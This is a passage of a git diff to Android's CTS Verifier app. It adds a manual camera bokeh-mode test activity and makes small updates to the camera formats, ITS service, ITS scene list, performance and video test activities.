+            this.mCameraIndex = cameraIndex;
+            this.mMode = mode;
+            this.mPreviewSize = new Size(streamingWidth, streamingHeight);
+            this.mCameraId = cameraId;
+            this.mModeName = modeName;
+            this.mIsStillCapture = isStillCapture;
+        }
+
+        @Override
+        public String toString() {
+            return String.format("Camera %s, mode %s, intent %s",
+                    mCameraId, mModeName, mIsStillCapture ? "PREVIEW" : "STILL_CAPTURE");
+        }
+    }
+
+    private static final Comparator<CameraCombination> COMPARATOR =
+        Comparator.<CameraCombination, Integer>comparing(c -> c.mCameraIndex)
+            .thenComparing(c -> c.mMode)
+            .thenComparing(c -> c.mIsStillCapture);
+
+    private CameraCaptureSession.CaptureCallback mCaptureCallback =
+            new CameraCaptureSession.CaptureCallback() {
+        @Override
+        public void onCaptureProgressed(CameraCaptureSession session,
+                                        CaptureRequest request,
+                                        CaptureResult partialResult) {
+            // Don't need to do anything here.
+        }
+
+        @Override
+        public void onCaptureCompleted(CameraCaptureSession session,
+                                       CaptureRequest request,
+                                       TotalCaptureResult result) {
+            // Don't need to do anything here.
+        }
+    };
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.cb_main);
+
+        setPassFailButtonClickListeners();
+
+        mPreviewView = (TextureView) findViewById(R.id.preview_view);
+        mImageView = (ImageView) findViewById(R.id.image_view);
+
+        mPreviewView.setSurfaceTextureListener(this);
+
+        mCameraManager = (CameraManager) getSystemService(Context.CAMERA_SERVICE);
+        try {
+            mCameraIdList = mCameraManager.getCameraIdList();
+            for (String id : mCameraIdList) {
+                CameraCharacteristics characteristics =
+                        mCameraManager.getCameraCharacteristics(id);
+                Key<CapabilityAndMaxSize[]> key =
+                        CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES;
+                CapabilityAndMaxSize[] bokehCaps = characteristics.get(key);
+
+                if (bokehCaps == null) {
+                    continue;
+                } else if (bokehCaps.length == 1 &&
+                        bokehCaps[0].getMode() == CameraMetadata.CONTROL_BOKEH_MODE_OFF) {
+                    continue;
+                }
+
+                ArrayList<CapabilityAndMaxSize> nonOffModes = new ArrayList<>();
+                for (CapabilityAndMaxSize bokehCap : bokehCaps) {
+                    int mode = bokehCap.getMode();
+                    if (mode == CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE ||
+                            mode == CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS) {
+                        nonOffModes.add(bokehCap);
+                    }
+                }
+
+                if (nonOffModes.size() > 0) {
+                    mUntestedCameras.add("All combinations for Camera " + id);
+                    mTestCases.put(id, nonOffModes);
+                }
+
+            }
+        } catch (CameraAccessException e) {
+            e.printStackTrace();
+        }
+
+        // If no supported bokeh modes, mark the test as pass
+        if (mTestCases.size() == 0) {
+            setInfoResources(R.string.camera_bokeh_test, R.string.camera_bokeh_no_support, -1);
+            setPassButtonEnabled(true);
+        } else {
+            setInfoResources(R.string.camera_bokeh_test, R.string.camera_bokeh_test_info, -1);
+            // disable "Pass" button until all combinations are tested
+            setPassButtonEnabled(false);
+        }
+
+        Set<String> cameraIdSet = mTestCases.keySet();
+        String[] cameraNames = new String[cameraIdSet.size()];
+        int i = 0;
+        for (String id : cameraIdSet) {
+            cameraNames[i++] = "Camera " + id;
+        }
+        mCameraSpinner = (Spinner) findViewById(R.id.cameras_selection);
+        mCameraSpinner.setAdapter(
+            new ArrayAdapter<String>(
+                this, R.layout.camera_list_item, cameraNames));
+        mCameraSpinner.setOnItemSelectedListener(mCameraSpinnerListener);
+
+        mTestLabel = (TextView) findViewById(R.id.test_label);
+        mPreviewLabel = (TextView) findViewById(R.id.preview_label);
+        mImageLabel = (TextView) findViewById(R.id.image_label);
+
+        // Must be kept in sync with camera bokeh mode manually
+        mModeNames = new SparseArray(2);
+        mModeNames.append(
+                CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE, "STILL_CAPTURE");
+        mModeNames.append(
+                CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS, "CONTINUOUS");
+
+        mNextButton = findViewById(R.id.next_button);
+        mNextButton.setOnClickListener(v -> {
+                if (mNextCombination != null) {
+                    mUntestedCombinations.remove(mNextCombination);
+                    mTestedCombinations.add(mNextCombination);
+                }
+                setUntestedCombination();
+
+                if (mNextCombination != null) {
+                    if (mNextCombination.mIsStillCapture) {
+                        takePicture();
+                    } else {
+                        if (mCaptureSession != null) {
+                            mCaptureSession.close();
+                        }
+                        startPreview();
+                    }
+                }
+        });
+
+        mBlockingCameraManager = new BlockingCameraManager(mCameraManager);
+        mCameraListener = new BlockingStateCallback();
+    }
+
+    /**
+     * Set an untested combination of resolution and bokeh mode for the current camera.
+     * Triggered by next button click.
+     */
+    private void setUntestedCombination() {
+        Optional<CameraCombination> combination = mUntestedCombinations.stream().filter(
+            c -> c.mCameraIndex == mCurrentCameraIndex).findFirst();
+        if (!combination.isPresent()) {
+            Toast.makeText(this, "All Camera " + mCurrentCameraIndex + " tests are done.",
+                Toast.LENGTH_SHORT).show();
+            mNextCombination = null;
+
+            if (mUntestedCombinations.isEmpty() && mUntestedCameras.isEmpty()) {
+                setPassButtonEnabled(true);
+            }
+            return;
+        }
+
+        // There is untested combination for the current camera, set the next untested combination.
+        mNextCombination = combination.get();
+        int nextMode = mNextCombination.mMode;
+        ArrayList<CapabilityAndMaxSize> bokehCaps = mTestCases.get(mCameraId);
+        for (CapabilityAndMaxSize cap : bokehCaps) {
+            if (cap.getMode() == nextMode) {
+                mMaxBokehStreamingSize = cap.getMaxStreamingSize();
+            }
+        }
+
+        // Update bokeh mode and use case
+        String testString = "Mode: " + mModeNames.get(mNextCombination.mMode);
+        if (mNextCombination.mIsStillCapture) {
+            testString += "\nIntent: Capture";
+        } else {
+            testString += "\nIntent: Preview";
+        }
+        testString += "\n\nPress Next if the bokeh effect works as intended";
+        mTestLabel.setText(testString);
+
+        // Update preview view and image view bokeh expectation
+        boolean previewIsBokehCompatible =
+                mSizeComparator.compare(mNextCombination.mPreviewSize, mMaxBokehStreamingSize) <= 0;
+        String previewLabel = "Normal preview";
+        if (previewIsBokehCompatible || mNextCombination.mIsStillCapture) {
+            previewLabel += " with bokeh";
+        }
+        mPreviewLabel.setText(previewLabel);
+
+        String imageLabel;
+        if (mNextCombination.mIsStillCapture) {
+            imageLabel = "JPEG with bokeh";
+        } else {
+            imageLabel = "YUV";
+            if (previewIsBokehCompatible) {
+                imageLabel += " with bokeh";
+            }
+        }
+        mImageLabel.setText(imageLabel);
+    }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        menu.add(Menu.NONE, MENU_ID_PROGRESS, Menu.NONE, "Current Progress");
+        return super.onCreateOptionsMenu(menu);
+    }
+
+    @Override
+    public boolean onOptionsItemSelected(MenuItem item) {
+        boolean ret = true;
+        switch (item.getItemId()) {
+            case MENU_ID_PROGRESS:
+                showCombinationsDialog();
+                ret = true;
+                break;
+            default:
+                ret = super.onOptionsItemSelected(item);
+                break;
+        }
+        return ret;
+    }
+
+    private void showCombinationsDialog() {
+        AlertDialog.Builder builder =
+                new AlertDialog.Builder(CameraBokehActivity.this);
+        builder.setMessage(getTestDetails())
+                .setTitle("Current Progress")
+                .setPositiveButton("OK", null);
+        builder.show();
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        startBackgroundThread();
+
+        int cameraIndex = mCameraSpinner.getSelectedItemPosition();
+        if (cameraIndex >= 0) {
+            setUpCamera(mCameraSpinner.getSelectedItemPosition());
+        }
+    }
+
+    @Override
+    public void onPause() {
+        shutdownCamera();
+        stopBackgroundThread();
+
+        super.onPause();
+    }
+
+    @Override
+    public String getTestDetails() {
+        StringBuilder reportBuilder = new StringBuilder();
+        reportBuilder.append("Tested combinations:\n");
+        for (CameraCombination combination: mTestedCombinations) {
+            reportBuilder.append(combination);
+            reportBuilder.append("\n");
+        }
+
+        reportBuilder.append("Untested cameras:\n");
+        for (String untestedCamera : mUntestedCameras) {
+            reportBuilder.append(untestedCamera);
+            reportBuilder.append("\n");
+        }
+        reportBuilder.append("Untested combinations:\n");
+        for (CameraCombination combination: mUntestedCombinations) {
+            reportBuilder.append(combination);
+            reportBuilder.append("\n");
+        }
+        return reportBuilder.toString();
+    }
+
+    @Override
+    public void onSurfaceTextureAvailable(SurfaceTexture surfaceTexture,
+            int width, int height) {
+        mPreviewTexture = surfaceTexture;
+        mPreviewTexWidth = width;
+        mPreviewTexHeight = height;
+
+        mPreviewSurface = new Surface(mPreviewTexture);
+
+        if (mCameraDevice != null) {
+            startPreview();
+        }
+    }
+
+    @Override
+    public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
+        // Ignored, Camera does all the work for us
+        if (VERBOSE) {
+            Log.v(TAG, "onSurfaceTextureSizeChanged: " + width + " x " + height);
+        }
+    }
+
+    @Override
+    public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
+        mPreviewTexture = null;
+        return true;
+    }
+
+    @Override
+    public void onSurfaceTextureUpdated(SurfaceTexture surface) {
+        // Invoked every time there's a new Camera preview frame
+    }
+
+    @Override
+    public void onImageAvailable(ImageReader reader) {
+        Image img = null;
+        try {
+            img = reader.acquireNextImage();
+            final int format = img.getFormat();
+
+            Size configuredSize = (format == ImageFormat.YUV_420_888 ? mPreviewSize : mJpegSize);
+            Bitmap imgBitmap = null;
+            if (format == ImageFormat.YUV_420_888) {
+                ByteBuffer yBuffer = img.getPlanes()[0].getBuffer();
+                ByteBuffer uBuffer = img.getPlanes()[1].getBuffer();
+                ByteBuffer vBuffer = img.getPlanes()[2].getBuffer();
+                yBuffer.rewind();
+                uBuffer.rewind();
+                vBuffer.rewind();
+                int w = configuredSize.getWidth();
+                int h = configuredSize.getHeight();
+                int stride = img.getPlanes()[0].getRowStride();
+                int uStride = img.getPlanes()[1].getRowStride();
+                int vStride = img.getPlanes()[2].getRowStride();
+                int uPStride = img.getPlanes()[1].getPixelStride();
+                int vPStride = img.getPlanes()[2].getPixelStride();
+                byte[] row = new byte[configuredSize.getWidth()];
+                byte[] uRow = new byte[(configuredSize.getWidth()/2-1)*uPStride + 1];
+                byte[] vRow = new byte[(configuredSize.getWidth()/2-1)*vPStride + 1];
+                int[] imgArray = new int[w * h];
+                for (int y = 0, j = 0, rowStart = 0, uRowStart = 0, vRowStart = 0; y < h;
+                     y++, rowStart += stride) {
+                    yBuffer.position(rowStart);
+                    yBuffer.get(row);
+                    if (y % 2 == 0) {
+                        uBuffer.position(uRowStart);
+                        uBuffer.get(uRow);
+                        vBuffer.position(vRowStart);
+                        vBuffer.get(vRow);
+                        uRowStart += uStride;
+                        vRowStart += vStride;
+                    }
+                    for (int x = 0, i = 0; x < w; x++) {
+                        int yval = row[i] & 0xFF;
+                        int uval = uRow[i/2 * uPStride] & 0xFF;
+                        int vval = vRow[i/2 * vPStride] & 0xFF;
+                        // Write YUV directly; the ImageView color filter will convert to RGB for us.
+                        imgArray[j] = Color.rgb(yval, uval, vval);
+                        i++;
+                        j++;
+                    }
+                }
+                img.close();
+                imgBitmap = Bitmap.createBitmap(imgArray, w, h, Bitmap.Config.ARGB_8888);
+            } else if (format == ImageFormat.JPEG) {
+                ByteBuffer jpegBuffer = img.getPlanes()[0].getBuffer();
+                jpegBuffer.rewind();
+                byte[] jpegData = new byte[jpegBuffer.limit()];
+                jpegBuffer.get(jpegData);
+                imgBitmap = BitmapFactory.decodeByteArray(jpegData, 0, jpegData.length);
+                img.close();
+            } else {
+                Log.i(TAG, "Unsupported image format: " + format);
+            }
+            if (imgBitmap != null) {
+                final Bitmap bitmap = imgBitmap;
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        if (format == ImageFormat.YUV_420_888 && (mCurrentColorFilter == null ||
+                                !mCurrentColorFilter.equals(sJFIF_YUVToRGB_Filter))) {
+                            mCurrentColorFilter = sJFIF_YUVToRGB_Filter;
+                            mImageView.setColorFilter(mCurrentColorFilter);
+                        } else if (format == ImageFormat.JPEG && mCurrentColorFilter != null &&
+                                mCurrentColorFilter.equals(sJFIF_YUVToRGB_Filter)) {
+                            mCurrentColorFilter = null;
+                            mImageView.clearColorFilter();
+                        }
+                        mImageView.setImageBitmap(bitmap);
+                    }
+                });
+            }
+        } catch (java.lang.IllegalStateException e) {
+            // Swallow exceptions
+            e.printStackTrace();
+        } finally {
+            if (img != null) {
+                img.close();
+            }
+        }
+    }
+
+    private AdapterView.OnItemSelectedListener mCameraSpinnerListener =
+            new AdapterView.OnItemSelectedListener() {
+                public void onItemSelected(AdapterView<?> parent,
+                        View view, int pos, long id) {
+                    if (mCurrentCameraIndex != pos) {
+                        setUpCamera(pos);
+                    }
+                }
+
+                public void onNothingSelected(AdapterView parent) {
+                }
+            };
+
+    private class SizeComparator implements Comparator<Size> {
+        @Override
+        public int compare(Size lhs, Size rhs) {
+            long lha = lhs.getWidth() * lhs.getHeight();
+            long rha = rhs.getWidth() * rhs.getHeight();
+            if (lha == rha) {
+                lha = lhs.getWidth();
+                rha = rhs.getWidth();
+            }
+            return (lha < rha) ? -1 : (lha > rha ? 1 : 0);
+        }
+    }
+
+    private void setUpCamera(int index) {
+        shutdownCamera();
+
+        mCurrentCameraIndex = index;
+        mCameraId = mCameraIdList[index];
+        try {
+            mCameraCharacteristics = mCameraManager.getCameraCharacteristics(mCameraId);
+            mCameraDevice = mBlockingCameraManager.openCamera(mCameraId,
+                    mCameraListener, mCameraHandler);
+        } catch (CameraAccessException e) {
+            e.printStackTrace();
+        } catch (BlockingOpenException e) {
+            e.printStackTrace();
+        }
+
+        // Update untested cameras
+        mUntestedCameras.remove("All combinations for Camera " + mCameraId);
+
+        StreamConfigurationMap config =
+                mCameraCharacteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        Size[] jpegSizes = config.getOutputSizes(ImageFormat.JPEG);
+        Arrays.sort(jpegSizes, mSizeComparator);
+        mJpegSize = jpegSizes[jpegSizes.length-1];
+
+        Size[] yuvSizes = config.getOutputSizes(ImageFormat.YUV_420_888);
+        Arrays.sort(yuvSizes, mSizeComparator);
+        Size maxYuvSize = yuvSizes[yuvSizes.length-1];
+        if (mSizeComparator.compare(maxYuvSize, FULLHD) > 1) {
+            maxYuvSize = FULLHD;
+        }
+
+        // Update untested entries
+        ArrayList<CapabilityAndMaxSize> currentTestCase = mTestCases.get(mCameraId);
+        for (CapabilityAndMaxSize bokehCap : currentTestCase) {
+            Size maxStreamingSize = bokehCap.getMaxStreamingSize();
+            Size previewSize;
+            if ((maxStreamingSize.getWidth() == 0 && maxStreamingSize.getHeight() == 0) ||
+                    (mSizeComparator.compare(maxStreamingSize, maxYuvSize) > 0)) {
+                previewSize = maxYuvSize;
+            } else {
+                previewSize = maxStreamingSize;
+            }
+
+            CameraCombination combination = new CameraCombination(
+                    index, bokehCap.getMode(), previewSize.getWidth(),
+                    previewSize.getHeight(), mCameraId,
+                    mModeNames.get(bokehCap.getMode()),
+                    /*isStillCapture*/false);
+
+            if (!mTestedCombinations.contains(combination)) {
+                mUntestedCombinations.add(combination);
+            }
+
+            // For BOKEH_MODE_STILL_CAPTURE, add 2 combinations: one streaming, one still capture.
+            if (bokehCap.getMode() == CaptureRequest.CONTROL_BOKEH_MODE_STILL_CAPTURE) {
+                CameraCombination combination2 = new CameraCombination(
+                        index, bokehCap.getMode(), previewSize.getWidth(),
+                        previewSize.getHeight(), mCameraId,
+                        mModeNames.get(bokehCap.getMode()),
+                        /*isStillCapture*/true);
+
+                if (!mTestedCombinations.contains(combination2)) {
+                    mUntestedCombinations.add(combination2);
+                }
+            }
+        }
+
+        mJpegImageReader = ImageReader.newInstance(
+                mJpegSize.getWidth(), mJpegSize.getHeight(), ImageFormat.JPEG, 1);
+        mJpegImageReader.setOnImageAvailableListener(this, mCameraHandler);
+
+        setUntestedCombination();
+
+        if (mPreviewTexture != null) {
+            startPreview();
+        }
+    }
+
+    private void shutdownCamera() {
+        if (null != mCaptureSession) {
+            mCaptureSession.close();
+            mCaptureSession = null;
+        }
+        if (null != mCameraDevice) {
+            mCameraDevice.close();
+            mCameraDevice = null;
+        }
+        if (null != mJpegImageReader) {
+            mJpegImageReader.close();
+            mJpegImageReader = null;
+        }
+        if (null != mYuvImageReader) {
+            mYuvImageReader.close();
+            mYuvImageReader = null;
+        }
+    }
+
+    private void configurePreviewTextureTransform() {
+        int rotation = getWindowManager().getDefaultDisplay().getRotation();
+        Configuration config = getResources().getConfiguration();
+        int degrees = 0;
+        switch (rotation) {
+            case Surface.ROTATION_0: degrees = 0; break;
+            case Surface.ROTATION_90: degrees = 90; break;
+            case Surface.ROTATION_180: degrees = 180; break;
+            case Surface.ROTATION_270: degrees = 270; break;
+        }
+        Matrix matrix = mPreviewView.getTransform(null);
+        int deviceOrientation = Configuration.ORIENTATION_PORTRAIT;
+        if ((degrees % 180 == 0 && config.orientation == Configuration.ORIENTATION_LANDSCAPE) ||
+                (degrees % 180 == 90 && config.orientation == Configuration.ORIENTATION_PORTRAIT)) {
+            deviceOrientation = Configuration.ORIENTATION_LANDSCAPE;
+        }
+        int effectiveWidth = mPreviewSize.getWidth();
+        int effectiveHeight = mPreviewSize.getHeight();
+        if (deviceOrientation == Configuration.ORIENTATION_PORTRAIT) {
+            int temp = effectiveWidth;
+            effectiveWidth = effectiveHeight;
+            effectiveHeight = temp;
+        }
+
+        RectF viewRect = new RectF(0, 0, mPreviewTexWidth, mPreviewTexHeight);
+        RectF bufferRect = new RectF(0, 0, effectiveWidth, effectiveHeight);
+        float centerX = viewRect.centerX();
+        float centerY = viewRect.centerY();
+        bufferRect.offset(centerX - bufferRect.centerX(),
+                centerY - bufferRect.centerY());
+
+        matrix.setRectToRect(viewRect, bufferRect, Matrix.ScaleToFit.FILL);
+
+        matrix.postRotate((360 - degrees) % 360, centerX, centerY);
+        if ((degrees % 180) == 90) {
+            int temp = effectiveWidth;
+            effectiveWidth = effectiveHeight;
+            effectiveHeight = temp;
+        }
+        // Scale to fit view, avoiding any crop
+        float scale = Math.min(mPreviewTexWidth / (float) effectiveWidth,
+                mPreviewTexHeight / (float) effectiveHeight);
+        matrix.postScale(scale, scale, centerX, centerY);
+
+        mPreviewView.setTransform(matrix);
+    }
+    /**
+     * Starts a background thread and its {@link Handler}.
+     */
+    private void startBackgroundThread() {
+        mCameraThread = new HandlerThread("CameraBokehBackground");
+        mCameraThread.start();
+        mCameraHandler = new Handler(mCameraThread.getLooper());
+    }
+
+    /**
+     * Stops the background thread and its {@link Handler}.
+     */
+    private void stopBackgroundThread() {
+        mCameraThread.quitSafely();
+        try {
+            mCameraThread.join();
+            mCameraThread = null;
+            mCameraHandler = null;
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void startPreview() {
+        try {
+            if (mPreviewSize == null || mPreviewSize.equals(mNextCombination.mPreviewSize)) {
+                mPreviewSize = mNextCombination.mPreviewSize;
+
+                mYuvImageReader = ImageReader.newInstance(mPreviewSize.getWidth(),
+                        mPreviewSize.getHeight(), ImageFormat.YUV_420_888, 1);
+                mYuvImageReader.setOnImageAvailableListener(this, mCameraHandler);
+            };
+
+            mPreviewTexture.setDefaultBufferSize(mPreviewSize.getWidth(), mPreviewSize.getHeight());
+            mPreviewRequestBuilder =
+                    mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+            mPreviewRequestBuilder.addTarget(mPreviewSurface);
+            mPreviewRequestBuilder.addTarget(mYuvImageReader.getSurface());
+
+            mStillCaptureRequestBuilder =
+                    mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+            mStillCaptureRequestBuilder.addTarget(mPreviewSurface);
+            mStillCaptureRequestBuilder.addTarget(mJpegImageReader.getSurface());
+
+            mSessionListener = new BlockingSessionCallback();
+            List<Surface> outputSurfaces = new ArrayList<Surface>(/*capacity*/3);
+            outputSurfaces.add(mPreviewSurface);
+            outputSurfaces.add(mYuvImageReader.getSurface());
+            outputSurfaces.add(mJpegImageReader.getSurface());
+            mCameraDevice.createCaptureSession(outputSurfaces, mSessionListener, mCameraHandler);
+            mCaptureSession = mSessionListener.waitAndGetSession(/*timeoutMs*/3000);
+
+            configurePreviewTextureTransform();
+
+            /* Set bokeh mode and start streaming */
+            int bokehMode = mNextCombination.mMode;
+            mPreviewRequestBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE, bokehMode);
+            mStillCaptureRequestBuilder.set(CaptureRequest.CONTROL_BOKEH_MODE, bokehMode);
+            mPreviewRequest = mPreviewRequestBuilder.build();
+            mStillCaptureRequest = mStillCaptureRequestBuilder.build();
+
+            mCaptureSession.setRepeatingRequest(mPreviewRequest, mCaptureCallback, mCameraHandler);
+        } catch (CameraAccessException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void takePicture() {
+        try {
+            mCaptureSession.stopRepeating();
+            mSessionListener.getStateWaiter().waitForState(
+                    BlockingSessionCallback.SESSION_READY, SESSION_READY_TIMEOUT_MS);
+
+            mCaptureSession.capture(mStillCaptureRequest, mCaptureCallback, mCameraHandler);
+        } catch (CameraAccessException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void setPassButtonEnabled(boolean enabled) {
+        ImageButton pass_button = (ImageButton) findViewById(R.id.pass_button);
+        pass_button.setEnabled(enabled);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
index 07c598f..7fead16 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
@@ -166,7 +166,7 @@
         mCameraSpinner = (Spinner) findViewById(R.id.cameras_selection);
         mCameraSpinner.setAdapter(
             new ArrayAdapter<String>(
-                this, R.layout.cf_format_list_item, cameraNames));
+                this, R.layout.camera_list_item, cameraNames));
         mCameraSpinner.setOnItemSelectedListener(mCameraSpinnerListener);
 
         mFormatSpinner = (Spinner) findViewById(R.id.format_selection);
@@ -407,7 +407,7 @@
         }
         mResolutionSpinner.setAdapter(
             new ArrayAdapter<String>(
-                this, R.layout.cf_format_list_item, availableSizeNames));
+                this, R.layout.camera_list_item, availableSizeNames));
 
         // Get preview formats, removing duplicates
 
@@ -421,7 +421,7 @@
         }
         mFormatSpinner.setAdapter(
             new ArrayAdapter<String>(
-                this, R.layout.cf_format_list_item, availableFormatNames));
+                this, R.layout.camera_list_item, availableFormatNames));
 
         // Update untested entries
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 7745898..f39b590 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -42,6 +42,7 @@
 import android.hardware.SensorEvent;
 import android.hardware.SensorEventListener;
 import android.hardware.SensorManager;
+import android.media.AudioAttributes;
 import android.media.Image;
 import android.media.ImageReader;
 import android.media.ImageWriter;
@@ -147,6 +148,7 @@
     public static final String TRIGGER_AF_KEY = "af";
     public static final String VIB_PATTERN_KEY = "pattern";
     public static final String EVCOMP_KEY = "evComp";
+    public static final String AUDIO_RESTRICTION_MODE_KEY = "mode";
 
     private CameraManager mCameraManager = null;
     private HandlerThread mCameraThread = null;
@@ -264,7 +266,7 @@
             mSensorThread.start();
             mSensorHandler = new Handler(mSensorThread.getLooper());
             mSensorManager.registerListener(this, mAccelSensor,
-                    SensorManager.SENSOR_DELAY_NORMAL, mSensorHandler);
+                    /*100hz*/ 10000, mSensorHandler);
             mSensorManager.registerListener(this, mMagSensor,
                     SensorManager.SENSOR_DELAY_NORMAL, mSensorHandler);
             mSensorManager.registerListener(this, mGyroSensor,
@@ -687,6 +689,8 @@
                     doCapture(cmdObj);
                 } else if ("doVibrate".equals(cmdObj.getString("cmdName"))) {
                     doVibrate(cmdObj);
+                } else if ("setAudioRestriction".equals(cmdObj.getString("cmdName"))) {
+                    doSetAudioRestriction(cmdObj);
                 } else if ("getCameraIds".equals(cmdObj.getString("cmdName"))) {
                     doGetCameraIds();
                 } else if ("doReprocessCapture".equals(cmdObj.getString("cmdName"))) {
@@ -907,6 +911,7 @@
             obj.put("accel", mAccelSensor != null);
             obj.put("mag", mMagSensor != null);
             obj.put("gyro", mGyroSensor != null);
+            obj.put("vibrator", mVibrator.hasVibrator());
             mSocketRunnableObj.sendResponse("sensorExistence", null, obj, null);
         } catch (org.json.JSONException e) {
             throw new ItsException("JSON error: ", e);
@@ -1305,13 +1310,35 @@
                 pattern[i] = patternArray.getLong(i);
             }
             Logt.i(TAG, String.format("Starting vibrator, pattern length %d",len));
-            mVibrator.vibrate(pattern, -1);
+
+            // Mark the vibrator as alarm to test the audio restriction API
+            // TODO: consider making this configurable
+            AudioAttributes audioAttributes = new AudioAttributes.Builder()
+                    .setUsage(AudioAttributes.USAGE_ALARM).build();
+            mVibrator.vibrate(pattern, -1, audioAttributes);
             mSocketRunnableObj.sendResponse("vibrationStarted", "");
         } catch (org.json.JSONException e) {
             throw new ItsException("JSON error: ", e);
         }
     }
 
+    private void doSetAudioRestriction(JSONObject params) throws ItsException {
+        try {
+            if (mCamera == null) {
+                throw new ItsException("Camera is closed");
+            }
+            int mode = params.getInt(AUDIO_RESTRICTION_MODE_KEY);
+            mCamera.setCameraAudioRestriction(mode);
+            Logt.i(TAG, String.format("Set audio restriction mode to %d", mode));
+
+            mSocketRunnableObj.sendResponse("audioRestrictionSet", "");
+        } catch (org.json.JSONException e) {
+            throw new ItsException("JSON error: ", e);
+        } catch (android.hardware.camera2.CameraAccessException e) {
+            throw new ItsException("Access error: ", e);
+        }
+    }
+
     /**
      * Parse jsonOutputSpecs to get output surface sizes and formats. Create input and output
      * image readers for the parsed output surface sizes, output formats, and the given input
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index 7d2f25d..1a59cb1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -84,8 +84,11 @@
     // Scenes
     private static final ArrayList<String> mSceneIds = new ArrayList<String> () { {
             add("scene0");
-            add("scene1");
-            add("scene2");
+            add("scene1_1");
+            add("scene1_2");
+            add("scene2_a");
+            add("scene2_b");
+            add("scene2_c");
             add("scene3");
             add("scene4");
             add("scene5");
@@ -95,8 +98,9 @@
     private static final ArrayList<String> mHiddenPhysicalCameraSceneIds =
             new ArrayList<String> () { {
                     add("scene0");
-                    add("scene1");
-                    add("scene2");
+                    add("scene1_1");
+                    add("scene1_2");
+                    add("scene2_a");
                     add("scene4");
                     add("sensor_fusion");
              }};
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/performance/CameraPerformanceActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/performance/CameraPerformanceActivity.java
index 5510521..59b7a03 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/performance/CameraPerformanceActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/performance/CameraPerformanceActivity.java
@@ -21,7 +21,7 @@
 import android.app.ProgressDialog;
 import android.content.Context;
 import android.hardware.camera2.cts.PerformanceTest;
-import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
+import android.hardware.camera2.cts.testcases.Camera2AndroidBasicTestCase;
 import android.hardware.cts.CameraTestCase;
 import android.hardware.cts.LegacyCameraPerformanceTest;
 import android.os.Bundle;
@@ -201,8 +201,8 @@
                 Enumeration<Test> tests = ((TestSuite) s).tests();
                 while (tests.hasMoreElements()) {
                     Test test = tests.nextElement();
-                    if (test instanceof Camera2AndroidTestCase) {
-                        Camera2AndroidTestCase testCase = (Camera2AndroidTestCase) test;
+                    if (test instanceof Camera2AndroidBasicTestCase) {
+                        Camera2AndroidBasicTestCase testCase = (Camera2AndroidBasicTestCase) test;
 
                         // The base case class has one internal test that can
                         // be ignored for the purpose of this test activity.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
index 3904f09..30df08b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
@@ -138,16 +138,12 @@
      * @see #MEDIA_TYPE_IMAGE
      * @see #MEDIA_TYPE_VIDEO
      */
-    private static File getOutputMediaFile(int type) {
-        // Question: why do I need to comment this to get it working?
-        // Logcat says "external storage not ready"
-        // if (Environment.getExternalStorageState() != Environment.MEDIA_MOUNTED) {
-        //     Log.e(TAG, "external storage not ready");
-        //     return null;
-        // }
-
-        File mediaStorageDir = new File(Environment.getExternalStoragePublicDirectory(
-                Environment.DIRECTORY_MOVIES), TAG);
+    private File getOutputMediaFile(int type) {
+        File mediaStorageDir = new File(getExternalFilesDir(null), TAG);
+        if (mediaStorageDir == null) {
+            Log.e(TAG, "failed to retrieve external files directory");
+            return null;
+        }
 
         if (!mediaStorageDir.exists()) {
             if (!mediaStorageDir.mkdirs()) {
@@ -306,7 +302,7 @@
         mCameraSpinner = (Spinner) findViewById(R.id.cameras_selection);
         mCameraSpinner.setAdapter(
             new ArrayAdapter<String>(
-                this, R.layout.cf_format_list_item, cameraNames));
+                this, R.layout.camera_list_item, cameraNames));
